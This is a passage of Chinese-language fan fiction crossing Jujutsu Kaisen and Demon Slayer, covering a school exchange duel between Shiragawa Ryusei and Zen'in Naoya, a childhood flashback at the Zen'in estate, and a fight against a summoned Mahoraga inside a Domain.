“来不及吧。”看着七海,家入硝子得出结论,“就算琉世答应参加第三场,也赶不回来了,第二场用不了多少时间。” 五条悟却很有信心,“那家夥说一定赶回来,所以还是期待一下吧。” 京都校那边搞什麽田忌赛马,最弱的那个和五条悟比试,还没开始打就吓得认输了,上台和七海比试的那个,反而是实力最强的。 如果要赢的话,这确实是正确的做法。而最后一个上台的,应该是禅院直哉。 “悟。” “嗯?” “那件事我告诉白川了。” 五条悟一副安静的不像他本人的样子,因为侧面的角度,硝子隐约看到他墨镜后的眼眨了眨,除此之外,没有任何反应,平静地不像她聒噪的男同学。 没有咒力,有伤不治,他怎麽不顺便表演一个生命垂危呢? 真有你的,五条悟。 “喂,你不会是认真的吧。”没听到插科打诨,家入硝子开始害怕了。 “如果硝子说的是老子的感情生活的话。”五条悟毫不羞愧地挑明,“没有恋爱的青春是不完整的。而且,老子这麽帅气强大,无死角地完美,被后辈喜欢上再正常不过了。” “我没有问你白川的想法,毕竟那家夥喜欢你,明显到所有人都能看出来。”家入硝子忧伤地咬着雪糕棍,“你是怎麽想的?” 以良心来讲,如果白川这种后辈的感情,因为学长的逗弄心受到伤害,就算是不爱管闲事的硝子,也觉得那很坏了。 “哈?这种事还用问吗?老子的态度一向很明确。” 五条悟反而有点郁闷。 没有好感的话,不想尝试的话,怎麽会纵容对方的肢体接触。 黄泉津御命和菅原觉什麽的他才不管,老掉牙的黄历了,对五条悟和白川琉世没有任何影响。 他们之间是真真切切相处过的,他从一开始就觉得琉世的脸很帅气,后来发现后辈为人可靠,不管说什麽都让人心情很好。这些都和前世今生那些乱七八糟的东西没有关系。 因为白川琉世是个在某些情况下很敏锐,但在某些情况下又异常迟钝的家夥。 这种时候,等他自己明白自己的心情,然后表达出来,才能算不被外界观点影响的,完美的感情发展轨迹。如果仓促间戳破这点,琉世反而会怀疑自己本来的想法,五条悟毫不怀疑这点。 这种绕脑更绕口的想法,换成以前他绝对嗤之以鼻,但是两个人的感觉进展到这步,处于其中的人莫名其妙理解了其中的微妙。 “啊,”五条悟摆出一副忽然想起来的样子,“你好像没有过感情生活啊,硝子。” 家入硝子:神金…… 对男同学的无语,让家入硝子决定闭嘴,她看向对面京都校的人群,那个金色头发的少年终于过完嘴毒的瘾,放过了被他辱骂了好久的前辈。 输给五条悟而已,竟然也会被骂,他自己上也会输吧。 同样是御三家的少爷,五条悟的顽劣和他比起来,根本不值一提。 七海尽力了,但对方是京都校战力最高的人,最后还是输了。家入硝子上前为两人治疗,“已经发挥出应有的水平了,七海。” 与家入硝子某种程度上相似的七海,get到了前辈的安慰。 “我会继续努力的。” “娜娜米,竟然输掉了。”五条悟做着“好丢人”的口型。 七海:拳头硬了,真的。 …… 昨天的团体赛,毫无疑问是东京校赢了。个人赛一共有三场,目前是一胜一负,最后的结果,就全指望最后一场的胜负了。 京都校派出的人选是禅院直哉,这人高专校服外面,竟然披着羽织,耐热程度是当之无愧的第一。东京校暂定夏油杰,但夏油因故缺席,后来改成的白川琉世也迟迟未到。 等了十五分钟后,两校的教职工商量解决办法。夜蛾正道说东京校今天没别人了,只剩下家入硝子和刚入学两个月的一年级生伊地知,都算毫无战斗能力的,不然就让一把给京都校吧。 夜蛾也是有点想法的,根据时间来说,白川琉世赶过来的几率不大,硝子绝对不能上场,伊地知去了也是送,不如大方一点直接让了,个人赛还能让京都校赢得憋屈点。 京都那边也没什麽意见,但禅院直哉不愿意,怒斥东京校看不起他们。他指名道姓要和白川琉世打,并且表示多晚都会等。 等的时间越久,禅院直哉越烦躁,在将近5点钟时,又忍不住要发脾气,“你们到底有没有通知他?悟君,把联系方式给我,我来打。” 在场的所有人,只有面对五条悟时,禅院直哉才愿意保持基本的礼貌。 五条家和禅院家虽然水火不容,但在一些社交场合中还是要交际的,五条悟和禅院直哉年龄相仿,这麽多年每年都要见几次,时间久了就混了个半生不熟。 五条悟只是偏向学校正门的方向,侧耳倾听,好像已经听到来人的动静了。 其他人犹疑了一会,不过几秒后,就听到一阵引擎声由远及近,白川琉世骑着一辆黑色的摩托疾驰而来,一道刺耳的刹车声后,停在场地中央。 他长腿一放撑在地上,摘下头盔,向东京校的大家挥了挥手,“悟,大家,我回来了!我有带伴手礼哦!” “你还浪费时间去买这东西?”禅院直哉的火气不降反升,“你知不知道我等了你多久,废物!” 嗯?谁?白川琉世转头看向京都校的方向。 他和九十九由基吃完饭就各奔东西,确认了悟拜托他检查的封印暂时没问题,又在仙台闲逛了一会,忽然接到五条悟的电话,说原本不用他参加的姐妹校交流会,因为夏油杰缺席,需要他赶回学校救急。白川琉世只好一路超速回来了,因为太着急,还直接骑上了高专,要知道摩托跑山路可不是很舒服。 对面京都校的学生也都穿着校服,那个说话的人一头金色的短发,打着耳钉,长相倒是俊秀,但说话尖酸刻薄,眼神一看就心怀鬼胎。老实说,现在的社会,坏人大多会遮掩一下,像他这样坏的明明白白的倒还少见。 好像那种设计出来就是给主角使绊子的角色。 白川琉世把车熄了火,依然跨坐在上面,把装着伴手礼袋子的书包递给七海,眼神看向金发少年。 “我在接到回校的通知前,就买好了伴手礼。” 那双金色的眼睛直视禅院直哉,有些轻微的不悦,但也没有到愤怒的程度。 禅院直哉看着这双眼睛,火气更大了。琉世总是这样,不管发生什麽事,那双眼睛最多只是不悦,禅院直哉从来没看过他愤怒的样子。 “如果接到通知后,我还有时间买东西,也会给你们带一份的,前提是我知道你们没有不礼貌的人。” 白川琉世话说得不软不硬,态度上却没那麽温和,脚撑地上身后仰,双手抱臂,冷淡地看着眼前的人。 那些平时随便就能说出口的恶言恶语噎在嘴边,禅院直哉一时什麽也吐不出来。琉世那家夥不像小时候,因为比他小一岁,个子比他还矮一点,这麽多年不见,竟然长成了特别惹眼的高个子。校服外面穿着黑色防风外套,一张冷酷的脸,不悦地看着别人的时候,胆子大的人往往也不敢说什麽。 竟然从小时候傻了吧唧的样子,擅自变成 这样。 禅院直哉想着年少的时光,胆子又肥了,提高声调说,“废物,还不乖乖道歉,找这麽多乱七八糟的理由,你以为搭上悟君就了不起了?” 呛。 等众人意识到,那是刀出鞘的摩擦声时,禅院直哉已经后知后觉地把手放在左边的脸颊上。他只感觉一阵冷风袭来,然而,完全没看清琉世的动作,对方的刀就已经收回了。 怎、怎麽可能,如果论快的话,不说悟君,他的父亲禅院直毗人,被称为最快咒术师,而他作为继承了父亲“投射咒法”的人,自认为与父亲没有太大的差距。 可恶,悟君就算了,怎麽连这个废物也变得这麽强,凭什麽是他先接近与甚尔的距离—— 那把日轮刀没有收鞘,被主人平举着,刀刃上还躺着一缕金发。 “再让我听到那两个字,下次就不会只是削掉你的头发了。” 禅院直哉的脸涨得通红。 尽管胸口的愤懑烧得他想大闹一场,但这麽下去也只是更丢人。他强压着羞耻和愤怒,硬生生挤出一个恶意满满的笑。 “像你这样几乎没有咒力的人,既不能成为咒术师,也不能像有的人那样,依靠□□站在世界的顶点。厚着脸皮努力到这种程度,一定很辛苦吧。” 这种阴阳怪气的京都腔,听得京都校的人都牙齿发痒。 之前禅院直哉虽然没礼貌,但还没有对他们东京校的人出言不逊,现在一口一个废物,实在让人难以忍受。七海一只手提着白川琉世的书包,另一只手悄悄去够背后的刀柄,他不爱计划之外的麻烦,但也不是没脾气的人。 不过,比他沉不住气的另有其人。五条悟走到白川琉世身旁,“喂,琉世,你不会以为这个人是在夸奖你吧。” “怎麽可能,我又不傻。”白川琉世压压手指,发出清脆的咔吧声,“他就是我的对手吧,到时候揍一顿就好了。” “哈,”五条悟一副忍不住笑的样子,“直哉,难道你没有发现,琉世从刚才开始,就什麽也没记起来。” “记起来?”白川琉世认真地回忆了一会,眼神不停地在五条悟和金发男之间移动。好怪,怎麽悟对着金发男一脸幸灾乐祸,而金发男的愤怒变成了强烈的不可置信,然后又爆发出更强烈的愤怒。 “琉世,你的营养是都供给个子,大脑完全不发育的吗?” 金发男气愤到眼白都爆出红血丝了,人生气到这种程度还挺可怕的。 “叫我吗?”他还是摸不着头脑,“上来就叫名字,太自来熟了吧,你谁啊?” 仿佛这时候自我介绍就是自取其辱,禅院直哉一言不发,令人不爽的恶意也完全变成了战意。 “禅院直哉啦。”五条悟双手合十,清脆地拍了一掌,“因为被你完全忘记了,正闹脾气呢。” “他闹脾气一看就不是因为这个吧。”那种人看起来就像路边的狗不是他喜欢的颜色都会踹一脚的人。 禅院家是他曾经待过的地方,具体的记忆,只剩不多的一些画面了,但都不痛不痒的。禅院家的大门,长长的木质走廊,庭院的池塘,跪在障子门后面的侍女,一大堆穿着素色和服的人,以及偶尔窜出来的讥讽。还好没留下多少记忆,因为单凭本能回忆,白川琉世也无端生出一种讨厌的感觉。 白川琉世又看了禅院直哉一眼,那双尾梢上吊的狐狸眼,倒是莫名眼熟。 “啊!”他指着禅院直哉大叫,“我确实见过你。” 第24章 幼年、禅院家和讨厌鬼直哉 自从去年觉醒了“投射咒法”,禅院直哉就从原来的院子里搬了出来。 和令人羡慕的独生子五条悟不同,禅院直哉从一睁眼就充满了竞争意识,好在他的哥哥们个个都是废物,而他又特别争气。 所以,更大的院子,更多的侍女,所有人的恐惧和奉承,以及未来的禅院家主之位,都是他应得的。 今天他心情不错,甩掉了跟随的侍女,向躯俱留队的演武场跑去,只是在看到心心念念的那个人之前,迎面而来的撞击毁掉了他一大半好心情。 走廊的拐角,一个同样黑色短发的孩子,捂着额头“嘶”了一声,马上伸出手想拉摔倒的禅院直哉,“你没事……直哉?” “怎麽是你这个废物。”禅院直哉嫌弃地打开男孩的手,自己爬了起来。 他里面穿着衬衫,外面穿着整齐的羽织和素色的袴,在禅院家,上到九十九下到刚会走,都必须严格着装,丝毫不能丢禅院的脸。但是,第一次见到白川琉世时,这家夥竟然穿着白T和短裤,还有脸问他,“你不热吗?” 禅院直哉本来以为这个自称“琉世”的孩子,是家里哪个下人的孩子,所以这麽不懂规矩。当时,他大发雷霆,让侍女鞭笞琉世,但是侍女却隐晦地在他耳边解释。 “这是产屋敷家送来学习的孩子,现在由隆大人教导。” 禅院直哉虽然不知道产屋敷家是什麽,但在察言观色这方面十分敏锐,明白那个姓氏拥有能让侍女打断他说话的重量。 暂时收敛的直哉,却无法掩饰对白川琉世的不满,每次遇到都会开口辱骂,他不明白,这麽一个咒力和普通人相差无二的人,为什麽要来这里学习控制咒力。 禅院家成员之间互相称呼,都是叫名字的,毕竟大家都一个姓,禅院直哉因为没怎麽和外界接触过,不太了解外面关系不好的人是绝对不会叫名字的,就算非常厌恶,也一直叫着“琉世”而不是“白川”。 这一度让白川琉世也十分混乱,但是,他也无法用禅院来称呼任何一个禅院家成员,为了避免叫一声一群人回头的场景,也是忍着膈应叫“直哉”,叫着叫着就习惯了。 “千鹤和一华姐姐呢?” “那是谁?我怎麽知道。” “老是走在你后面的两个姐姐。” 禅院直哉像第一次看到会说话的猴子一样打量白川琉世。 “谁会专门去记侍女的名字,琉世你这个废物,脑子能不能装点有用的东西,比如见到我要问好,懂不懂?” “怎麽问好?”那双金色的眼睛,带着不悦,却还是耐心回应了。 “现在是早上,要说‘早上好’,然后站在路边对我鞠躬15度。” “好,你也早。”白川琉世向演示着就莫名其妙鞠躬的禅院直哉点了点头,直接走了过去。 暴击百分百。 “白、川、琉、世!” “做什麽,今天没空和你吵架,隆师父还在等我。” “我看你也不用去了,这麽点咒力,还想当咒术师?”禅院直哉感到自己抓住了对方的痛点,大声喊出禅院家的格言,“非禅院者非术师,非术师者非人。废物琉世,不管你怎麽努力,这辈子也只能当一个可悲的废物,一生都触不到我的脚趾!” “你没事吧。”眼神从不悦变成了怜悯,“你是咒术师,也打不过我啊。” 在这一刻,禅院直哉引以为傲的出身、天赋,被对面人轻飘飘的一句话戳得粉碎。 白川琉世并不是只会挨骂不会动的傻白甜,心情不好的时候也会打直哉一顿,那种把一秒拆分为24帧,还能缺省自己和目标动作的能力,虽然有点意思,但并不难缠。 禅院直哉发动术式的前提条件是视野里有对方,并且触碰到对方,但琉世能轻松跟得上24帧里的任何一拍,也不会被直哉碰到,除非是故意的。直哉曾经没忍住,拉下面子问他怎麽做到这点的,白川琉世理所应当地说,“因为我每天都锻炼身体。而且,像你这样吊儿郎当的人能做到的事,我肯定做得更好。” “我那是继承了投射咒法的术式,根本不是随便谁都能做到的!” “哈哈,骗人的吧,这麽平庸的术式你在骄傲什麽啊。” 自视甚高的人被人否定,是对整个人生的终极侮辱。于是,今天的禅院直哉,连带着累积的怒火,决定送给白川琉世一个终生难忘的教训。 …… “就是这个地方了。” 一道高大的近乎把他们吞噬的铁门,泛着锈气和隐隐约约的腥味,门口是黑暗的长廊,仿若某种吃人怪兽的食道。 “你为什麽找我帮忙,不是讨厌我吗?”矮一点的小孩拨弄着门锁,嘴上虽然质问,但手上一用力,那挂着几十斤锁头的锁链就这麽断了。 禅院直哉看着和自己差不多外形的胳膊,心里骂了声怪物。 惩戒室不是什麽重要的地方,咒灵都被结界封印着,上锁也只是个形式。禅院直哉谎称有重要的东西丢在里面了,要白川琉世帮忙进去找回来。 禅院直哉几乎是咬碎了牙,装模作样地微笑,“因为你比较强,这里太黑了……” “啊,原来你怕黑啊。” “我才……,呃……” “让我帮忙也不是不行,但你说话太讨厌了,要先给我道歉才行。” 马上就能得逞的计划,让禅院直哉忍下了平时绝不可能忍的愤怒。想到白川琉世即将被咒灵围住的场景,他扯出愉悦又恶意满满的笑容,“当然,我道歉。” “让别人帮忙,也要说‘请’,你妈妈教过你吧。” 妈妈?禅院直哉已经没什麽印象了,那个女人虽然还活着,但因为没什麽用,吸引不了禅院直哉的注意。 “请你帮我。”他刻意摆出一副可怜兮兮的样子。 看起来,那个傻子马上就要同意进去了。 铁门随着一只幼小的手,缓缓打开。 “怕黑当然要克服一下了,我们一起去吧。” 禅院直哉慌乱间正想着托辞,白川琉世脸上一直挂着的,淡淡的笑容却消失了。 “你还真是一个谎话连篇、心地丑恶的坏孩子。” 那双金色的眼睛,奇异般的让禅院直哉感觉整个人像被冷水兜头浇下。 “这里咒灵的臭味,可是在你们家大门外都能闻到。” “我们之间,也没有什麽要命的仇恨吧。” “原来你是真的想杀了我。” 属于孩童敏锐的触感,令禅院直哉压力剧增,身体的每一个毛孔都叫嚣着快逃快逃,快躲起来,在三伏的盛夏中,冷汗湿透了背后的衣料。 很奇怪,没有觉得有生命危险,但那股压力却让人直面了“死”的重量。 “琉世?直哉少爷?” 得救了。 禅院直哉回过神来的时候,才发现自己正急促地喘着气,教导琉世的师父正从远处找了过来。 那个人禅院直哉没有太大的印象,只记得是炳里一个实力还不错的人,侍女闲聊时,说他前段时间嗑坏了头,破了相。禅院隆走近时,果然露出来脑门上的缝合线,这让禅院直哉心生鄙夷,等以后他做了炳的首领,绝不会放这种丢人的家夥进去。 “琉世,你怎麽跑到这里来了,我等你很久了。” “隆师父,”白川琉世开朗地笑起来,“被你们家主的儿子为难了,一时间走不开。” 禅院直哉:你是一点空气都不会读,就这麽把实话说出来了? 禅院隆也尴尬地笑了两声,一双狡黠的眼睛,眼神在两个孩子之间打转。 “直哉少爷,您可能并不清楚,”禅院隆一副心知肚明的神色,“这里可是很危险的,像直哉少爷和琉世这样的孩子,没有大人的陪同绝对不可以进去。” 有人递台阶,禅院直哉马上就麻溜地下去了,“是吗?既然是这样,那我还是回去好了。” 禅院隆要白川琉世站在原地等他,送了禅院直哉一程,在确定走出了足够远后,他低声说,“直哉少爷,那是产屋敷家送来的孩子,您知道吧?” 禅院直哉点点头,产屋敷家是日本知名的大财阀,他虽然不知道产屋敷家到底有多少钱,但察言观色得来的结果是,肯定比禅院家有钱。 捧高踩低的天性,让他虽然看不惯白川琉世,却也没有做在大人眼里出格的事。但是今天的事情,让头脑刚刚冷静下来的直哉感到后怕。如果进了惩戒室,白川琉世得到的可能不仅仅是一个教训,他绝对会没命。 到时候,父亲肯定会非常、非常生气。 禅院隆显然非常了解直哉。 “直哉少爷差点就闯了大祸,不过,不用担心,我不会告诉任何人的。”他弯腰靠近直哉,影子把小孩笼罩在其中,“这是我和直哉少爷之间的秘密。” 这个人还挺上道的嘛,这是禅院直哉对这件事最后的想法。 之后他正常地回到自己的院子,直到晚上,听说琉世和禅院隆出了事,但具体发生了什麽,并没有人告诉他。不仅如此,因为心虚,他也不能表现出很关心这件事的样子。 记忆只剩那天回头时,禅院隆目送他离开的样子,半张脸藏在阴影里,表情似笑非笑。禅院直哉忽然生出一股不适的感觉。 那个人,之前就是这麽圆滑的性格吗? 当晚,禅院直哉做了噩梦,一夜不停地惊醒。 第二天,传来禅院隆的死讯,白川琉世被送离禅院家。 至此,白川琉世就完全消失在了禅院直哉的人生中。 第25章 五条大少爷想让我告白 并非完全消失。 对于禅院直哉来说,白川琉世是他自找的阴魂不散。 眼看白川琉世、五条悟和禅院直哉似乎有什麽陈年旧事要说,七海拿着白川琉世的书包挪到了家入硝子旁边。书包拉链上还挂着一个拳头大的小鸡玩偶,独特的风格一看就是夜蛾老师的作品。 “拉链是打开的,看看是什麽伴手礼吧。”这麽对家入硝子说着,七海从中掏出一个袋子,“是甜品啊,中规中矩。” “一看就是根据悟的喜好买的。”家入硝子锐评。 “提前分掉吗?给你。”先后掏出两个袋子递给伊地知和家入硝子,手在包里掏第三个袋子时,碰到了坚硬的,奇怪的东西。 这个手感……还在猜测到底是什麽,眼睛就更快地看过去了。 一本书斜斜地插在书包里,封面是粉嫩色系的,七海一个字一个字地辨认过去。 《辉夜大小姐想让我告白~天才们的恋爱头脑战~》 七海僵住了,仿佛看到了什麽不可名状的可怖之物,手臂自动伸直,想把书包拿得离自己远一点。 他这一生行善积德,这种东西不是他该看到的吧? “怎麽了七海?” 家入硝子凑过来看了一眼,差点把雪糕棍吞下去。 她和七海面面相觑,像被这本书戳到了痒痒肉,忽然憋起笑来。 恋爱轻喜剧在咒高。 太有创意了吧,白川这个家夥,真是为她的高专生活落下了浓墨重彩的一笔。不得不说,他还是很会抓题的。 把大小姐自动换成五条大少爷,家入硝子笑得眼泪都要出来了。 “怎麽了?”伊地知在旁边看了一会,也按捺不住好奇心。七海顺势把书包扔在了伊地知怀里,像甩脱了个大麻烦,长舒一口气。 伊地知低头,严谨地默念了一遍书名,脸整个涨红了,做贼一样紧紧捂着书包。 看着反应这麽大的前辈们,伊地知在心里为白川琉世辩解。虽然在喝甜饮料的男人都被看作没有男子气概的日本,白川看少女漫画的反差实在太大,但是,作为同学他是绝对不会嘲笑白川的。 想起白川琉世宿舍里满地的少年漫,伊地知从没在里面见过少女漫的影子,忽然转性看少女漫画,白川不会是有喜欢的人了吧? 谁?家入前辈?不不不,白川看到家入前辈从来不害羞的,但是学校只有家入前辈一个女生。倒是看到五条前辈会害羞,但是五条前辈是男生。 推理很严谨,但现实很荒谬。 “你们几个,老师可是在这的。”看着这几个人鬼鬼祟祟的样子,而且伊地知紧紧捂着琉世的书包,夜蛾正道可以断定,琉世带了违禁品到学校。 在夜蛾正道的示意下,伊地知绝望地拉开了书包。 夜蛾正道:…… 看着那个颇具少女心的封面,夜蛾正道愣了一下,露出微笑。 什麽嘛,看他们这麽紧张的样子,还以为是什麽呢。 这也算他这群令人头疼的学生,少数显得可爱的时候了。 几个人围在一起嘀嘀咕咕,引起了白川琉世的注意,他在和禅院直哉打嘴炮的间隙转身大喊,“喂,你们背着我和悟说什麽呢” 这下就连夜蛾也有点慌了,把书包挡在身后,冷静地摆出身为老师的威严,“在说你可能会拿到无证驾驶和超速的处罚。” 白川琉世:…… 对手这麽惹人讨厌,偏偏友方又不体贴。 所以说,还是早点解决这烂摊子为好。他走到擂台中央,对禅院直哉挑衅地拍了拍手,“像你这样的人,不管是憎恨、忽视还是欣赏,对我来说都毫无意义,所以赶紧上来打。” “少说大话,”废物这词在嘴边,硬生生被他压下去,“你以为我还和以前一样吗?” “……谁知道你以前哪样。” 禅院直哉也站到台上,腰上别着一把短刀。白川琉世比他预想中的更加难缠,按照之前的打算,他对自己如今的实力非常自信,只要不停地运用投射咒法,找出白川琉世“僵直”后的破绽,就能一雪当年之耻。 然而,那个废物,同样是个怪物。 想起那一刀的威力,禅院直哉心里的嫉恨翻江倒海。他并不是遇到强者就丧失战斗意志的废物,也不是无法客观看待自己与他人实力的傻子。但是,不管是偷袭还是耍阴招,这次他一定要赢。 既不是甚尔,也不是悟君,白川琉世有什麽特别的?有什麽资格也把他踩在脚下?一定要打败这个人,否则,他的人生就无法铺展开来。 …… 本来就不觉得禅院直哉算什麽高手,真交上手就更失望了。 “喂,如果我现在就把你扔下去,你会不会很丢人。”白川琉世游刃有余,甚至带上了点无赖的笑容。 “哈,没有张狂的资格,就不要这麽得意。”禅院直哉在攻击的空隙,双手按在腰间的短刀上,“你也差不多该明白,就算再怎麽装摸准样也无法像咒术师一样活着了。” 那柄短刀被他猛的拔出来。 “好好享受吧!” 刀出鞘后,却不见刀刃,本该是刀刃的地方,由刀鞘传来一股强大的咒力。 “这是?”京都校的校长乐岩寺,似乎察觉到了什麽,“禅院,停下!” 然而,那种庞大咒力的运转方式,以及之后凝聚而成的—— “领域?”五条悟相当惊讶。 禅院直哉:“哈哈哈哈,没错没错,这就是我期待已久的……领域展开,嵌合暗翳庭!” 顷刻间,擂台上的两人,就被黑色的封闭式领域完全包裹了起来。 “领域展开?”夜蛾正道皱眉,“这并不是寻常的领域展开吧,禅院那把咒具到底是怎麽回事?” 虽然个人赛并不禁止使用咒具,但大家都有分寸,切磋不会下死手。禅院直哉那把咒具却不一定,他对白川琉世的恶意明显太超过了。 “那不是禅院直哉的领域。”五条悟跳上擂台,在领域的边缘停了下来,“嵌合暗翳庭,是禅院家继承十种影法术术师的领域展开。而他们家继承了十种影法术的人,现在只有一个。” 那就是今年小学一年级的伏黑惠小朋友。 虽然没明说,但大家多少都听说过这事。之前五条悟为了收养禅院家十种影法术的那个孩子,花了整整十个亿。 “喂,乐岩寺老爷爷,那把咒具是跋折罗吧?” “应该没错。”乐岩寺提出,“特级咒具跋折罗,能存储任何一个领域展开,使用咒具的人能借此展开一次其中存储的领域。” 五条悟:“嵌合暗翳庭,是某代十影法存进去的。” 乐岩寺:“只有这一个可能了。禅院这种做法实在无理取闹,五条,你从外面把领域破坏吧。” 五条悟皱眉,“啧,老子从刚才开始就试着破坏了,但是,针对现在的情况,禅院直哉应该是拿什麽条件做交换,加固了领域的外壳。” 禅院直哉,看来蓄谋已久。 “琉世他应该可以的。”夜蛾正道安慰自己看起来异常挂心的学生,“他和其他人都不一样,那种惊人的战斗本能,不会轻易被领域展开困住的。” …… 黑暗,纯粹的黑暗,好像墨汁打翻糊满了世界每一个角落。 在这个触目皆暗的空间里,白川琉世不停地躲避脚下凝成手状的影子,满地的影子让他根本没有下脚的地方。 刚一落下脚步,手状的影子一左一右,蜕变为大蛇和□□状的影子,大蛇用身体卷住他,□□也伸出舌头,把他黏在原地,同时,上空俯冲下来一只翅膀宽大的鸟禽类,一双爪子死死抓住他的肩膀。 别的不说,□□这也太恶心了。 “这就是我们禅院家的十种影法术。” 禅院直哉站在对面,不远处,一头巨大的象正对准了白川琉世,从鼻子中喷出超高水压的水流。 不好! 被三个影子牢牢固定住,白川琉世感觉全身被按在地上动颤不得,如果被这水流击中,最轻也是个致命伤。 右手还抓着刀柄,但手臂被固定的姿势无法挥刀。白川琉世深吸一口气,用尽全身力气紧紧握着日轮刀—— 日之呼吸·四之型·幻日虹。 刀刃变红的瞬间,马上松开手,赫刀直直砸到大蛇身上,影子也松动了一下,就在这刹那间的空隙中,白川琉世扭转身体,挣脱出桎梏。 堪堪躲开水流,几乎是同时,他抓起赫刀—— 日之呼吸·五之型·火车。 身体腾空,如锚定猎物的鹰隼般,斩断了禽鸟的头颅。 日之呼吸·六之型·灼骨炎阳。 落地后,赫刀带着灼热的气浪,划过大蛇和□□的头颅。 三杀! “这怎麽可能?” 禅院直哉失控地喊出,在这个领域中,他暂时获得了嵌合暗翳庭的掌控权,能自由使用式神,随意用影子制造自己的分身。禅院家的式神不是纸糊的,怎麽可能这麽轻易被击溃? 可惜,嵌合暗翳庭是召唤型的领域,如果是斩击型的,白川琉世被抓住的瞬间就已经死了! 雷之呼吸·一之型·霹雳一闪! 那是如雷击,不,远超雷击的迅速一击! 速度之快,连自动触发式的满地的影手都来不及反应。 巨象的头,也已被白川琉世斩下。 “这怎麽可能!”禅院直哉不可置信地大喊,“单凭你这把刀……!” 跋折罗里,可不是什麽垃圾领域都配存进去,这里面存的可是禅院家最强十影法的领域。 “什麽可能不可能的,你还要说几遍啊,我这把刀还轮不到你瞧不起。” 他接连不断地斩下各种影子形成的动物头颅,直到禅院直哉公开术式,才明白这东西叫“式神”。 “你确实让我没那麽无聊了。但是,使用的根本不是你自己的能力,多少有点丢脸了,直哉。” “你很快就永远不会无聊了。”暂时的僵持,没有让禅院直哉慌张,手握底牌令他自信十足。 儿时惩戒室前的屈辱,全部化为了将要梦想成真的兴奋。 “出来吧,八握剑异界神将魔虚罗!” 第26章 适应不良魔虚罗 距离白川琉世和禅院直哉进入领域,已经半分钟了。 出于对白川琉世实力的信任,东京校的人没有表现得很轻松,但也不是太紧张,最了解其中险恶的,只有五条悟一人。 在咒术活跃的平安时期,有座天皇钦封的寺院,为真言宗的官方寺院——东寺。寺庙里供奉了三件神物,按照现在的说法,应该算特级咒具。 三件神物分别是,神武解、跋折罗和飞天。 五条家作为传承千年的古老咒术师家族,流传下来了一些不为人知的秘辛。那些东西就算是咒术界的人,知道的也很少,只有同为御三家的人能了解一些。剩下的人,就连咒术总监部的一些老橘子,因为家族传承不够,就算活得久,对一些东西也只是雾里看花,只知其然不知其所以然。 传说,两面宿傩抢走了东寺的三件神物,在他死后,神武解不知所踪,飞天在黄泉津御命手里,后来转赠加茂家,跋折罗几经转折流落到禅院家。 神武解下落不明,五条悟也不知道它附带的术式是什麽。飞天的术式是存储一次“术式”,跋折罗的是存储一次“领域展开”,这点不算秘密。不过,具体存储与施放的情况,只有加茂家和禅院家的人才知道。 五条悟唯一知道的事,就是跋折罗中存储的领域,是千年前已经调服了魔虚罗,史上最强禅院家术师的! 如果在领域中召唤魔虚罗,到底算哪种?从禅院直哉的性格来看,如果召唤魔虚罗,需要付出没有继承十影法,自然也没机会调服过魔虚罗的禅院直哉的生命,他是绝不会以命搏命也要杀掉琉世的。 那就是最坏的结果,既魔虚罗由禅院家先人调服过,这个程序也一并由跋折罗存储,到时候,禅院家后人可以没有代价地使用咒具。 没想到这个禅院家拿来做保险的咒具,会被禅院直哉大动干戈地用在白川琉世身上。 一瞬间,五条悟焦虑地想到,如果当初没有毁掉天逆鉾就好了。 他再次尝试破坏领域的外壳,果然还是不行。 琉世,五条悟慢慢握紧拳头,我可以相信你的吧? …… “以丢弃必中效果为代价,我加固了领域的外壳,现在,谁也不能救你出去。”禅院直哉神经质地笑着,“反正召唤系的领域,必中效果也无所谓。这就是魔虚罗,这是什麽样的力量?废物琉世,睁开你的眼看清楚,这是神的力量!” “不想再提醒你了,我不姓废物,我姓白川。” 白川琉世看着从黑暗中一步步走来的高大式神。人形状态,皮肤呈现灰白色,没有眼睛,脸上生着四只“翼”状角,右手上绑着一柄长长的剑。 最引人瞩目的,是式神头顶上均等分成八份的转轮。 魔虚罗……,虽然不知道是什麽东西,但那家夥身上载来非人的恐怖力量,有着不低于最上启示的压迫感。 最上启示是灵体,他是对灵魂有绝对掌控能力的黄泉津御命的转世,两者的天敌属性,消弭了巨大的实力沟壑。 完全被他人控制着的式神,看来只能硬打了。 紧握着刀,白川琉世没有急于攻击,等着魔虚罗右手的剑刃一挥—— 呼吸,然后把身体的机能调动到最佳,躲开,必须要躲开。如果被刚才那些动物式神打到,最轻也是个致命伤,但被这把剑斩到,白川琉世的本能告诉他,包死的。 剑刃从耳边削过,一股巨大的能量撞击在远处不知什麽的壁上,产生地动山摇般的威力。那应该是领域的外壳,从内部几乎无法打破。或许因为魔虚罗是领域本身的产物,它的攻击也无法对领域造成伤害。 白川琉世记下外壳的位置,如果实在不行,那就只能试着去斩破领域了。 那麽在此之前—— “顺便一提,魔虚罗的能力是适应,它拥有调和和适应一切现象的能力。”禅院直哉进行术式公开,为本身就强到可怖的魔虚罗再加一层buff,“你越强,它就越强,除非你真的能一刀击败他。好好享受你最后的战斗吧!” 术式是适应,这是禅院直哉白送的信息。 其二,他那把剑也不同凡响,上面的气息不像其他式神的咒力,攻击过的地方也感觉不到任何残秽。比起属阴的咒术,是某种正极的能力,但也并不是反转术式。 躲过第二、第三道攻击,魔虚罗的速度也越来越快。从一开始的轻松躲过,到后面的竭尽全力,禅院直哉所说的适应一切现象,同样包括速度! 既然如此,呼吸法就更不必说了,要麽一击必杀,要麽也只能被他不停适应自己的能力。然而,在极快的变化下,白川琉世根本没时间想到任何破解的方法。 又一击落下—— 绝对躲不过了。但是,这还只是对方的平A啊! 深吸一口气。 “水之呼吸……” 既然目前是咒术师,难免会遇到对手展开领域的情况,悟曾经说过,他对领域这方面短板太大,这点他也考虑过。 或许是第一个日之呼吸的用户太强,白川琉世使用它时,填满心脏的只有锐不可当的战意,那是完全不需要防御,属于绝对强者的呼吸法。 想要开发出像简易领域或者领域延展一样,能够对抗领域展开的能力,那麽…… “十一之型·凪。” 风平浪静。 凪的效果,是使进入自身刀刃攻击距离内的所有攻击无效化。这是鬼杀队流传下来的十一之型的解释,总共只有一句话。 因为从始至终只有创造它的前代水柱会用,并不收录于水之呼吸的全部招式中。 曾经无论如何都不能理解这招,只是站在原地,怎麽会让对手的攻击无效化呢?就这麽什麽也不做…… 白川琉世双手持刀,以一种放松的姿势,刀刃斜着朝向地面,仿佛旋涡中最平静的中心。 说他天才也好,幸运也好,以前从没遇见过这种程度的强大对手。如果遇到无法战胜的强大对手该怎麽办?没有真的去思考过这个问题。无法战胜,但也不能认输,那就只要承受住对方的攻击就好了。 就像水面承载船只,大海承载散落进的雨滴。 